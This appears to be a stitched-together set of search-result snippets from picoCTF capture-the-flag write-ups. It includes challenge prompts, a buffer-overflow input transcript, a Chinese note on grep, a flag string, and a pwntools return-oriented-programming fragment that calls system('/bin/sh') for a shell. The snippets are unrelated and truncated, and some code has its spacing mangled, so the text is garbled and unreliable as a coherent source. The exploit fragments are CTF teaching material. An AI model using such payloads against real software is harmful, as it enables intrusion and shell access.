Added solution write-ups for 'Binary Search', 'dont-you-love-banners'… Nov 7, 2024 Reverse Engineering Added solution write-up for 'Classic Crackme 0x100' challenge Nov 19, 2024 Web Exploitation Completed solu
picoCTF{grep_is_good_to_find_things_ad4e9645} OverFlow 0 - Points: 100 - Solves: 4354 - Binary Exploitation This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_2_20c7eb49602df3c04c1f43bf9aff1faa on the shell serv...
During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with 2018shell.picoctf.com 37542. Hint (1) ...
Solution Using an entirely manual binary search we find out which bytes we actually control: hxr@pico-2018-shell-1:/problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab Okay, time to return... Fing...
grep,(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。 cat file会有一大堆乱码字符,使用grep picoCTF file可以把flag从乱码中提取出来。
rop2=ROP(exe)rop2.call(ret)rop2.call(libc.sym["system"],[next(libc.search(b"/bin/sh"))])payload2=cyclic(0x88)+rop2.chain()r.sendline(payload2)r.interactive()if__name__=="__main__":main() ROP.call事实上也是用ret来做的,使用时指定地址即可。
In this challenge we were given a binary with the task to get the flag with no further hints. Since we used already several tools in other CTFs we started to try out a new one. Many times people used radare2 for example but this time we tried the gui version Cutter. Luckily we also...